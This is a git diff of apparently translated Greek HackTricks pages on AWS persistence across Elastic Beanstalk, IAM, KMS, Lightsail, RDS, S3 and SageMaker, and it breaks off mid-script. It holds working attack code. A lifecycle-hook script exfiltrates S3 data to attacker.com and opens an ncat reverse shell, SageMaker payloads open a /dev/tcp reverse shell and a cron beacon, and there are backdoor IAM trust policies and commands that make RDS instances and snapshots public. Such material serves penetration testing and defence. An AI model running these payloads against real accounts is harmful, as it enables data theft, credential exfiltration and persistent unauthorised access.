||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Το Elastic Beanstalk παρέχει lifecycle hooks που επιτρέπουν την εκτέλεση custom scripts κατά το instance provisioning και termination. Ένας attacker θα μπορούσε να **διαμορφώσει ένα lifecycle hook για να εκτελεί περιοδικά ένα script που exfiltrates δεδομένα ή διατηρεί πρόσβαση στον AWS account**.
|
||||
```bash
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,47 +0,0 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Για περισσότερες πληροφορίες, επισκεφθείτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Κοινές Τεχνικές IAM Persistence
|
||||
|
||||
- Δημιουργία χρήστη
|
||||
- Προσθήκη ελεγχόμενου χρήστη σε προνομιούχα ομάδα
|
||||
- Δημιουργία κλειδιών πρόσβασης (του νέου χρήστη ή όλων των χρηστών)
|
||||
- Παροχή επιπλέον δικαιωμάτων σε ελεγχόμενους χρήστες/ομάδες (συνδεδεμένες πολιτικές ή inline πολιτικές)
|
||||
- Απενεργοποίηση MFA / Προσθήκη της δικής σας συσκευής MFA
|
||||
- Δημιουργία καταστάσεως Ρόλου Αλυσίδας (περισσότερα για αυτό παρακάτω στην επιμονή STS)
|
||||
|
||||
### Πολιτικές Εμπιστοσύνης Ρόλου Backdoor
|
||||
|
||||
Μπορείτε να προσθέσετε μια backdoor σε μια πολιτική εμπιστοσύνης για να μπορείτε να την αναλάβετε για έναν εξωτερικό πόρο που ελέγχετε (ή για όλους):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Πολιτική Πίσω Πόρτας Έκδοση
|
||||
|
||||
Δώστε δικαιώματα Διαχειριστή σε μια πολιτική που δεν είναι η τελευταία της έκδοση (η τελευταία έκδοση θα πρέπει να φαίνεται νόμιμη), στη συνέχεια αναθέστε αυτή την έκδοση της πολιτικής σε έναν ελεγχόμενο χρήστη/ομάδα.
|
||||
|
||||
### Πίσω Πόρτα / Δημιουργία Παρόχου Ταυτότητας
|
||||
|
||||
Εάν ο λογαριασμός εμπιστεύεται ήδη έναν κοινόχρηστο πάροχο ταυτότητας (όπως το Github), οι συνθήκες της εμπιστοσύνης θα μπορούσαν να αυξηθούν ώστε ο επιτιθέμενος να μπορεί να τις εκμεταλλευτεί.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Για περισσότερες πληροφορίες, δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Συνηθισμένες IAM Persistence
|
||||
|
||||
- Δημιουργία χρήστη
|
||||
- Προσθήκη ελεγχόμενου χρήστη σε προνομιούχα ομάδα
|
||||
- Δημιουργία access keys (του νέου χρήστη ή όλων των χρηστών)
|
||||
- Παροχή επιπλέον δικαιωμάτων σε ελεγχόμενους χρήστες/ομάδες (attached policies ή inline policies)
|
||||
- Απενεργοποίηση MFA / Προσθήκη δικής σου MFA συσκευής
|
||||
- Δημιουργία κατάστασης Role Chain Juggling (περισσότερα παρακάτω στο STS persistence)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
Μπορείς να backdoor-άρεις μια trust policy ώστε να μπορείς να assume αυτήν για έναν εξωτερικό πόρο που ελέγχεις (ή για όλους):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Backdoor Policy Version
|
||||
|
||||
Δώστε Administrator permissions σε μια policy που δεν είναι στην τελευταία της έκδοση (η τελευταία έκδοση πρέπει να φαίνεται νόμιμη), στη συνέχεια αναθέστε αυτήν την έκδοση της policy σε έναν ελεγχόμενο user/group.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
Εάν ο λογαριασμός ήδη εμπιστεύεται έναν κοινό identity provider (όπως το Github), οι όροι της εμπιστοσύνης μπορούν να αυξηθούν ώστε ο επιτιθέμενος να τους εκμεταλλευτεί.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Για περισσότερες πληροφορίες, ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Παροχή πρόσβασης μέσω πολιτικών KMS
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει την άδεια **`kms:PutKeyPolicy`** για να **δώσει πρόσβαση** σε ένα κλειδί σε έναν χρήστη υπό τον έλεγχό του ή ακόμη και σε έναν εξωτερικό λογαριασμό. Ελέγξτε τη [**σελίδα KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) για περισσότερες πληροφορίες.
|
||||
|
||||
### Αιώνια Παροχή
|
||||
|
||||
Οι παροχές είναι ένας άλλος τρόπος για να δοθούν σε έναν κύριο ορισμένες άδειες σχετικά με ένα συγκεκριμένο κλειδί. Είναι δυνατόν να δοθεί μια παροχή που επιτρέπει σε έναν χρήστη να δημιουργεί παροχές. Επιπλέον, ένας χρήστης μπορεί να έχει πολλές παροχές (ακόμη και ταυτόσημες) για το ίδιο κλειδί.
|
||||
|
||||
Επομένως, είναι δυνατόν για έναν χρήστη να έχει 10 παροχές με όλες τις άδειες. Ο επιτιθέμενος θα πρέπει να παρακολουθεί αυτό συνεχώς. Και αν σε κάποιο σημείο 1 παροχή αφαιρεθεί, θα πρέπει να δημιουργηθούν άλλες 10.
|
||||
|
||||
(Χρησιμοποιούμε 10 και όχι 2 για να μπορέσουμε να ανιχνεύσουμε ότι μια παροχή αφαιρέθηκε ενώ ο χρήστης εξακολουθεί να έχει κάποιες παροχές)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Μια χορήγηση μπορεί να δώσει δικαιώματα μόνο από αυτό: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,37 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant πρόσβαση μέσω KMS policies
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει την άδεια **`kms:PutKeyPolicy`** για να **δώσει πρόσβαση** σε ένα key σε έναν χρήστη υπό τον έλεγχό του ή ακόμα και σε έναν εξωτερικό λογαριασμό. Δείτε τη [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) για περισσότερες πληροφορίες.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Grants είναι ένας άλλος τρόπος να δοθούν σε έναν principal κάποια permissions πάνω σε ένα συγκεκριμένο key. Είναι δυνατόν να δοθεί ένα grant που επιτρέπει σε έναν χρήστη να δημιουργεί grants. Επιπλέον, ένας χρήστης μπορεί να έχει πολλαπλά grant (ακόμα και πανομοιότυπα) για το ίδιο key.
|
||||
|
||||
Επομένως, είναι δυνατόν ένας χρήστης να έχει 10 grants με όλα τα permissions. Ο επιτιθέμενος πρέπει να παρακολουθεί αυτό συνεχώς. Και εάν σε κάποιο σημείο αφαιρεθεί 1 grant, τότε θα πρέπει να δημιουργηθούν άλλα 10.
|
||||
|
||||
(Χρησιμοποιούμε το 10 και όχι το 2 για να μπορούμε να ανιχνεύσουμε ότι αφαιρέθηκε ένα grant ενώ ο χρήστης εξακολουθεί να έχει κάποιο grant)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Ένα grant μπορεί να δώσει δικαιώματα μόνο από αυτό: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,33 +0,0 @@
|
||||
# AWS - Lightsail Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Λήψη κλειδιών SSH & κωδικών βάσης δεδομένων της Instace
|
||||
|
||||
Δεν θα αλλάξουν πιθανώς, οπότε το να τα έχετε είναι μια καλή επιλογή για επιμονή
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να αποκτήσει πρόσβαση στις instances και να τις backdoor:
|
||||
|
||||
- Χρησιμοποιώντας ένα παραδοσιακό **rootkit** για παράδειγμα
|
||||
- Προσθέτοντας ένα νέο **δημόσιο SSH key**
|
||||
- Εκθέτοντας μια θύρα με port knocking με ένα backdoor
|
||||
|
||||
### DNS επιμονή
|
||||
|
||||
Αν τα domains είναι ρυθμισμένα:
|
||||
|
||||
- Δημιουργήστε ένα υποτομέα που να δείχνει τη διεύθυνση IP σας ώστε να έχετε μια **subdomain takeover**
|
||||
- Δημιουργήστε **SPF** record που να σας επιτρέπει να στέλνετε **emails** από το domain
|
||||
- Ρυθμίστε τη **κύρια διεύθυνση IP του domain σας** στη δική σας και εκτελέστε ένα **MitM** από τη διεύθυνση IP σας προς τις νόμιμες
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,33 @@
|
||||
# AWS - Lightsail Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Για περισσότερες πληροφορίες δες:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Λήψη Instance SSH keys & DB passwords
|
||||
|
||||
Πιθανότατα δεν θα αλλάξουν, οπότε η κατοχή τους αποτελεί καλή επιλογή για persistence
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Ένας attacker θα μπορούσε να αποκτήσει πρόσβαση στα instances και να εγκαταστήσει backdoor σε αυτά:
|
||||
|
||||
- Χρησιμοποιώντας ένα παραδοσιακό **rootkit**, για παράδειγμα
|
||||
- Προσθήκη ενός νέου **public SSH key**
|
||||
- Έκθεση θύρας μέσω port knocking για backdoor
|
||||
|
||||
### DNS persistence
|
||||
|
||||
Εάν έχουν ρυθμιστεί domains:
|
||||
|
||||
- Δημιούργησε ένα subdomain που δείχνει την IP σου ώστε να έχεις ένα **subdomain takeover**
|
||||
- Δημιούργησε εγγραφή **SPF** που σου επιτρέπει να στέλνεις **emails** από το domain
|
||||
- Διαμόρφωσε την **main domain IP to your own one** και εκτέλεσε **MitM** από την IP σου προς τις νόμιμες
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,27 +0,0 @@
|
||||
# AWS - RDS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Κάντε την παρουσία δημόσια προσβάσιμη: `rds:ModifyDBInstance`
|
||||
|
||||
Ένας επιτιθέμενος με αυτή την άδεια μπορεί **να τροποποιήσει μια υπάρχουσα RDS παρουσία για να επιτρέψει τη δημόσια προσβασιμότητα**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Δημιουργία ενός χρήστη διαχειριστή μέσα στη βάση δεδομένων
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε απλά **να δημιουργήσει έναν χρήστη μέσα στη βάση δεδομένων** έτσι ώστε ακόμη και αν ο κωδικός πρόσβασης του κύριου χρήστη τροποποιηθεί, **δεν χάνει την πρόσβαση** στη βάση δεδομένων.
|
||||
|
||||
### Δημιουργία δημόσιου στιγμιότυπου
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,27 @@
|
||||
# AWS - RDS Διατήρηση
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Κάντε το instance δημόσια προσβάσιμο: `rds:ModifyDBInstance`
|
||||
|
||||
Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **τροποποιήσει ένα υπάρχον RDS instance για να ενεργοποιήσει τη δημόσια προσβασιμότητα**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Δημιουργία χρήστη admin μέσα στη DB
|
||||
|
||||
Ένας επιτιθέμενος μπορεί απλώς να **δημιουργήσει έναν χρήστη μέσα στη DB**, έτσι ώστε ακόμη και αν ο κωδικός του master user τροποποιηθεί, **να μην χάσει την πρόσβαση** στη βάση δεδομένων.
|
||||
|
||||
### Κάντε το snapshot δημόσιο
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,25 +0,0 @@
|
||||
# AWS - S3 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
|
||||
Όταν η διαδικασία κρυπτογράφησης ολοκληρωθεί, ο χρήστης θα χρησιμοποιήσει το KMS API για να δημιουργήσει ένα νέο κλειδί (`aws kms generate-data-key`) και θα **αποθηκεύσει το παραγόμενο κρυπτογραφημένο κλειδί μέσα στα μεταδεδομένα** του αρχείου ([παράδειγμα κώδικα python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) έτσι ώστε όταν γίνει η αποκρυπτογράφηση να μπορεί να το αποκρυπτογραφήσει χρησιμοποιώντας ξανά το KMS:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Επομένως, ένας επιτιθέμενος θα μπορούσε να πάρει αυτό το κλειδί από τα μεταδεδομένα και να το αποκρυπτογραφήσει με το KMS (`aws kms decrypt`) για να αποκτήσει το κλειδί που χρησιμοποιήθηκε για την κρυπτογράφηση των πληροφοριών. Με αυτόν τον τρόπο, ο επιτιθέμενος θα έχει το κλειδί κρυπτογράφησης και αν αυτό το κλειδί επαναχρησιμοποιηθεί για την κρυπτογράφηση άλλων αρχείων, θα μπορεί να το χρησιμοποιήσει.
|
||||
|
||||
### Using S3 ACLs
|
||||
|
||||
Αν και συνήθως οι ACLs των buckets είναι απενεργοποιημένες, ένας επιτιθέμενος με αρκετά προνόμια θα μπορούσε να τις εκμεταλλευτεί (αν είναι ενεργοποιημένες ή αν ο επιτιθέμενος μπορεί να τις ενεργοποιήσει) για να διατηρήσει πρόσβαση στο S3 bucket.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# AWS - S3 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
|
||||
Όταν ολοκληρωθεί η διαδικασία κρυπτογράφησης ο χρήστης θα χρησιμοποιήσει το KMS API για να δημιουργήσει ένα νέο κλειδί (`aws kms generate-data-key`) και θα **αποθηκεύσει το παραγόμενο κρυπτογραφημένο κλειδί στα μεταδεδομένα** του αρχείου ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) έτσι ώστε όταν γίνει η αποκρυπτογράφηση να μπορεί να το αποκρυπτογραφήσει ξανά χρησιμοποιώντας το KMS:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Επομένως, ένας επιτιθέμενος θα μπορούσε να πάρει αυτό το κλειδί από τα μεταδεδομένα και να το αποκρυπτογραφήσει με το KMS (`aws kms decrypt`) για να αποκτήσει το κλειδί που χρησιμοποιήθηκε για να κρυπτογραφήσει την πληροφορία. Με αυτόν τον τρόπο ο επιτιθέμενος θα έχει το κλειδί κρυπτογράφησης και εάν αυτό το κλειδί επαναχρησιμοποιηθεί για να κρυπτογραφήσει άλλα αρχεία θα μπορεί να το χρησιμοποιήσει.
|
||||
|
||||
### Using S3 ACLs
|
||||
|
||||
Αν και συνήθως τα ACLs των buckets είναι απενεργοποιημένα, ένας επιτιθέμενος με επαρκή δικαιώματα θα μπορούσε να τα καταχραστεί (αν είναι ενεργοποιημένα ή αν ο επιτιθέμενος μπορεί να τα ενεργοποιήσει) για να διατηρήσει πρόσβαση στο S3 bucket.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,158 +0,0 @@
|
||||
# Aws Sagemaker Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview of Persistence Techniques
|
||||
|
||||
Αυτή η ενότητα περιγράφει μεθόδους για την απόκτηση επιμονής στο SageMaker μέσω της κακής χρήσης των Lifecycle Configurations (LCCs), συμπεριλαμβανομένων των reverse shells, cron jobs, κλοπή διαπιστευτηρίων μέσω IMDS και SSH backdoors. Αυτά τα σενάρια εκτελούνται με τον ρόλο IAM της παρουσίας και μπορούν να παραμείνουν ενεργά κατά τη διάρκεια επανεκκινήσεων. Οι περισσότερες τεχνικές απαιτούν πρόσβαση στο δίκτυο εξόδου, αλλά η χρήση υπηρεσιών στο AWS control plane μπορεί να επιτρέψει επιτυχία αν το περιβάλλον είναι σε λειτουργία "VPC-only".
|
||||
#### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
|
||||
|
||||
## Required Permissions
|
||||
* Notebook Instances:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Εφαρμογές Studio:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Ρύθμιση Διαμόρφωσης Κύκλου Ζωής σε Notebook Instances
|
||||
|
||||
### Παράδειγμα Εντολών AWS CLI:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## Ρύθμιση Διαμόρφωσης Κύκλου Ζωής στο SageMaker Studio
|
||||
|
||||
Οι Διαμορφώσεις Κύκλου Ζωής μπορούν να προσαρτηθούν σε διάφορα επίπεδα και σε διαφορετικούς τύπους εφαρμογών εντός του SageMaker Studio.
|
||||
|
||||
### Επίπεδο Τομέα Studio (Όλοι οι Χρήστες)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Επίπεδο Χώρου Στούντιο (Ατομικοί ή Κοινόχρηστοι Χώροι)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Τύποι Ρυθμίσεων Κύκλου Ζωής Εφαρμογής Studio
|
||||
|
||||
Οι ρυθμίσεις κύκλου ζωής μπορούν να εφαρμοστούν συγκεκριμένα σε διάφορους τύπους εφαρμογών SageMaker Studio:
|
||||
* JupyterServer: Εκτελεί σενάρια κατά την εκκίνηση του διακομιστή Jupyter, ιδανικό για μηχανισμούς επιμονής όπως αντίστροφες θύρες και cron jobs.
|
||||
* KernelGateway: Εκτελείται κατά την εκκίνηση της εφαρμογής kernel gateway, χρήσιμο για αρχική ρύθμιση ή μόνιμη πρόσβαση.
|
||||
* CodeEditor: Εφαρμόζεται στον Επεξεργαστή Κώδικα (Code-OSS), επιτρέποντας σενάρια που εκτελούνται κατά την έναρξη των συνεδριών επεξεργασίας κώδικα.
|
||||
|
||||
### Παράδειγμα Εντολής για Κάθε Τύπο:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### CodeEditor
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Critical Info:
|
||||
* Η προσθήκη LCCs σε επίπεδο τομέα ή χώρου επηρεάζει όλους τους χρήστες ή τις εφαρμογές εντός του πεδίου εφαρμογής.
|
||||
* Απαιτεί υψηλότερες άδειες (sagemaker:UpdateDomain, sagemaker:UpdateSpace) που είναι συνήθως πιο εφικτές σε επίπεδο χώρου παρά σε επίπεδο τομέα.
|
||||
* Οι έλεγχοι σε επίπεδο δικτύου (π.χ., αυστηρός φιλτράρισμα εξόδου) μπορούν να αποτρέψουν επιτυχείς αντίστροφες θήκες ή εξαγωγή δεδομένων.
|
||||
|
||||
## Reverse Shell via Lifecycle Configuration
|
||||
|
||||
SageMaker Lifecycle Configurations (LCCs) εκτελούν προσαρμοσμένα σενάρια όταν ξεκινούν οι περιπτώσεις σημειωματάριου. Ένας επιτιθέμενος με άδειες μπορεί να εγκαταστήσει μια μόνιμη αντίστροφη θήκη.
|
||||
|
||||
### Payload Example:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Cron Job Persistence via Lifecycle Configuration
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να εισάγει cron jobs μέσω LCC scripts, εξασφαλίζοντας περιοδική εκτέλεση κακόβουλων scripts ή εντολών, επιτρέποντας κρυφή επιμονή.
|
||||
|
||||
### Payload Example:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Εξαγωγή Διαπιστευτηρίων μέσω IMDS (v1 & v2)
|
||||
|
||||
Οι ρυθμίσεις κύκλου ζωής μπορούν να ερωτήσουν την Υπηρεσία Μεταδεδομένων Συστήματος (IMDS) για να ανακτήσουν διαπιστευτήρια IAM και να τα εξάγουν σε μια τοποθεσία που ελέγχεται από τον επιτιθέμενο.
|
||||
|
||||
### Παράδειγμα Payload:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
